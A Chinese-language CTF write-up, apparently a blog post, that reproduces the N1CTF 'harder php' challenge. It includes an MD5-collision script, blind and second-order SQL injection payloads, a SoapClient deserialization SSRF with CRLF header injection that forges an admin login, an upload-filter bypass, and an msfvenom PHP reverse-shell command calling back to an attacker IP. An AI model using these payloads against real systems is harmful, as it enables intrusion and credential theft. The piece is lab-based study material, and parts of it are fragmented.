(这里就是:ricterz.me)的 9000 端口收到连接请求,就可以确定开启了 Xdebug,且开启了 xdebug.remote_connect_back。
再下面的操作就参照师傅的博客就行了,这里因为没有环境就不再照抄
了。
要使用临时文件竞争
,phpinfo的环境要有如下配置:
它大概的原理就是趁系统还没把临时文件删除之前将这个文件包含起来,从而getshell,通常系统的守护进行删除时隔很小,大概在2~3s,所以,我们要使用多线程上传,然后不断刷新包含文件。
easy php
跟harder php
在比赛中虽然源码已经get到,但没能做出来,现在官方网站已经关闭,但官方在Github上公开了源码和Docker配置,所以拉下来跟着writeup做一遍,学习学习姿势。
这道题看了一下网上的writeup,大概有四种解法:
非预期解法是按getshell
的方法来划分的,这也导致easy php升级成harder php。写完writeup的时候发现预期解法的篇幅有点大了,但大有大的好处,作者在这里尽力还原了解题的完整过程,所以这篇就是harder php
的预期解法。
首先尝试源码泄露,经过测试后发现只要在文件名后加~
就能得到源码。
然后简单的对源码进行审计一下,有如下发现:
login
跟register
的$username
使用了check_username()
进行检查,$password
则是直接进行md5()
加密。
login
跟register
不存在注入,接着再看看哪里有insert、insert、select
语句,然后可以看到在publish
中的$_POST['signature']
和$_POST['mood']
没有经过任何过滤直接就进行了insert
插入。?action=register
,打开后发现要进行md5碰撞
,这里也记录一下脚本。 碰撞脚本:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29# -*- coding: utf-8 -*-
# running in python2
import multiprocessing
import hashlib
import random
import string
import sys
CHARS = string.letters + string.digits
def cmp_md5(substr, stop_event, str_len, start=0, size=20):
global CHARS
while not stop_event.is_set():
rnds = ''.join(random.choice(CHARS) for _ in range(size))
md5 = hashlib.md5(rnds)
if md5.hexdigest()[start: start+str_len] == substr:
print rnds
stop_event.set()
if __name__ == '__main__':
substr = 'b825c' # 修改此值
start_pos = 0
str_len = len(substr)
cpus = multiprocessing.cpu_count()
stop_event = multiprocessing.Event()
processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
stop_event, str_len, start_pos))
for i in range(cpus)]
for p in processes:
p.start()
for p in processes:
p.join()
注册后我们登陆网站,然后打开发表页面。
mood
参数被强制转成int
,所以我们只能在signature
中进行注入。 所以我们可以构造这样的payload:1
signature=1`,if(ascii(substr((select password from ctf_users where username=0x61646d696e),2,1))=53,sleep(3),0))#&mood=0
0x61646d696e
是admin
的16进制编码,而且这里不能直接比较字符如substr()>'a'
。如果注入成功则会延迟三秒返回页面。ip
的值,然后通过返回不同的国家判断注入结果,其payload如下:1 | wat`,(select case when ascii(substr((select password from ctf_users where is_admin=1),3,1))=48 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:7:"1.0.0.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=49 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:7:"2.0.0.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=50 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:7:"5.0.0.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=51 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:9:"127.0.0.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=52 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:9:"128.0.0.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=53 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:9:"129.0.0.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=54 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:9:"135.0.0.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=55 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:11:"27.116.56.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=56 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:12:"41.109.118.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=57 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:10:"5.11.15.64";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=97 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:12:"103.81.186.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=98 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:10:"5.10.240.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=99 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:11:"17.45.140.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=100 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:12:"43.249.176.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=101 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:9:"41.76.8.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=102 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:9:"46.8.41.0";s:4:"date";i:1520676219;}` else `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:7:"1.0.0.0";s:4:"date";i:1520676219;}` end)) -- - |
admin
的密码就是nu1ladmin
。二次注入
一次性将密码直接注入出来,从操作上来看二次注入的步骤显然要比盲注简单很多,所以作者对这种手法再进行练习。原博客地址为:p0’s blog | 破id
,然后进行二次注入,如:1 | signature=1`,(select 1)),('1','123','1','1')#mood=1 |
admin
的密码显示到id
为自己账号上的signature
上。id
:id
就是4。接着进行二次注入,payload:1 | signature=1`,1),(4,`admin333`,(select concat(username,0x2c,password) from ctf_users where is_admin=1),`O:4:"Mood":3:{s:4:"mood";i:0;s:2:"ip";s:14:"220.181.171.99";s:4:"date";i:1520667855;}`)#&mood=0 |
admin
的账号密码了。 其实通过审计,我们可以知道得到admin
的密码是不够的,因为admin
的allow_diff_ip
是=0
的,所以我们还是无法直接利用。其实比赛中看到了反序列化漏洞,但因为Mood
类中并没有魔术函数
,所以一直以为反序列化利用不了,所以也就卡壳了。后来证实自己的知识面还是太窄了
:(
到了这一步,我们就要怎么利用SSRF了,我这里想到了两个方法:
第一种因为被代码写死,所以无法利用。
soap
是开启的,php中有一个特殊的类:SoapClient
,它是用来创建soap数据报文,与wsdl接口进行交互的。wsdl模式
,如果为NULL
,就是非wsdl模式。如果是非wsdl模式,反序列化的时候就会对options中的url进行远程soap请求
,如果是wsdl模式,在序列化之前
就会对$url参数进行请求,从而无法可控序列化数据。1 | <?php |
1 | O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:27:"http://192.168.187.133:8887";s:13:"_soap_version";i:1;} |
nc -lvv 8887
,再去刷新?action=index
,就能看到服务器已经接收到soap
请求。 现在我们已经触发了SSRF,但可以看到SOAP
原始的数据是不符合POST
请求的数据格式的,所以,我们要想办法控制soap
请求使它符合post
请求,从而实现我们的目的。
soap
请求的content/type
是text/xml; charset=utf‐8,我们没办法直接覆盖掉原本的content/type,而我们知道,要能通过$_POST获取数据,content/type要是application/x‐www‐form‐urlencoded
才行。然后我们从SOAP的参数说明中知道:soap中是支持User-Agent
的,并且在header里 User-Agent 是在 Content-Type 前面的,所以我们可以通过控制User-Agent
来控制整个POST报文。
我们知道http请求报文中使用\x0d\x0a
,也就是回车换行符
,分割http请求头跟body部分,所以我们通过\x0d\x0a
来控制soap请求,使他变成我们想要的http报文格式,这种攻击手段也称为CRLF
。如:
这里我使用了官方放出的payload:1
2
3
4
5
6
7
8
9
10
11
12
13
14<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=nu1ladmin&code=cf44f3147ab331af7d66943d888c86f9';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>
我们只需将PHPSESSID
跟code
换成我们自己的就可以实现admin
登陆。我们在另一个浏览器中打开页面,然后记录他的PHPSESSID
跟code
。如:
1 | signature=x`,`O:10:"SoapClient":3:{s:3:"uri";s:1:"0";s:8:"location";s:39:"http://127.0.0.1/index.php?action=login";s:11:"_user_agent";S:188:"fake\0D\0ACookie: PHPSESSID=etf9pia6ftpj50eav8jsbp7ta5\0D\0AContent-Type: application/x-www-form-urlencoded\0D\0AContent-Length: 700\0D\0A\0D\0Ausername=admin\26password=nu1ladmin\26code=THYoaQkVdIm739Hppszu\26y=cc";}`) -- -&mood=0 |
admin
登陆了,(直接刷新页面即可,不用输入密码),然后可以看到我们已经解锁了文件上传
功能。 我们再来看文件上传的代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33function upload($file){
$file_size = $file['size'];
if($file_size>2*1024*1024) {
echo "pic is too big!";
return false;
}
$file_type = $file['type'];
if($file_type!="image/jpeg" && $file_type!='image/pjpeg') {
echo "file type invalid";
return false;
}
if(is_uploaded_file($file['tmp_name'])) {
$uploaded_file = $file['tmp_name'];
$user_path = "/app/adminpic";
if (!file_exists($user_path)) {
mkdir($user_path);
}
$file_true_name = str_replace('.','',pathinfo($file['name'])['filename']);
$file_true_name = str_replace('/','',$file_true_name);
$file_true_name = str_replace('\\','',$file_true_name);
$file_true_name = $file_true_name.time().rand(1,100).'.jpg';
$move_to_file = $user_path."/".$file_true_name;
if(move_uploaded_file($uploaded_file,$move_to_file)) {
if(stripos(file_get_contents($move_to_file),'<?php')>=0)
system('sh /home/nu1lctf/clean_danger.sh');
return $file_true_name;
}
else
return false;
}
else
return false;
}
可以看到如果你上传的文件包含<?php
,就会运行一个bash clean_danger.sh去删除
这个文件。而这个脚本的代码是:1
2cd /app/adminpic/
rm *.jpg
绕过这个检测的方法有两个:
rm -r (它的上一层目录)
,比如:<?=
拿到webshell。 为了方便反弹shell,这里我用msf生成了shellcode
,命令:1
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.187.129 LPORT=4444 -f raw > /root/meter.php
因为使用的是msf反弹shell
的代码,所以我们用msf
监听一下。
并且上传的时候我使用了第一种方法
upload
函数中,我们看到系统对文件进行了重命名。time()
的值,然后枚举1~100
叠加上去。而time()
是我们上传的时间的unix时间戳
,而且要注意是date_default_timezone_set("PRC")
。unix时间戳
,如:1 | <?php |
1521017320
,然后我们写个python脚本暴力跑一下:1 | # -*- coding:utf-8 -*- |
152101732000
,它比时间戳多了两位
,这是因为时间戳的后面还有rand(1,100)
,所以我们要考虑进去。http://192.168.187.133/index.php?action=../../../../app/adminpic/-meter152101732256.jpg
,访问后可以看到页面返回正常。并且在msf
里可以看到shell已经反弹回来。 拿到shell后查看了文件,但没有发现flag
文件。所以,flag应该在数据库中。然后发现了系统的配置脚本run.sh
。里面暴露了mysql
的账号密码,我们登陆mysql
然后查询一下。sql语句如下:1
2use flag;
select * from flag;
可以看到flag已经出来了。
shell
并不是真实的shell
,所以在执行mysql
命令时总是存在延迟,有时数据也返回不完全,需要多次操作才能读出这个flag
:n1ctf{php_unserialize_ssrf_crlf_injection_is_easy:p}
。
这道题运用了很多姿势,复现完成后自己也学到了很多,不足的就是自己在复现的时候操作还不是很流畅,可能也是自己太菜的原因,但好在最后还是能照着writeup
复现出来。复现过程中,查了几份writeup
,但这些writeup对于很多细节却没有做详细的描述,所以这篇writeup我尽量的把每步操作都记录下来,方便自己也方便别人学习。
关于非预期的解法,考虑到篇幅关系,所以决定另开一篇,并且争取还原整个解题过程。
Update your browser to view this website correctly. Update my browser now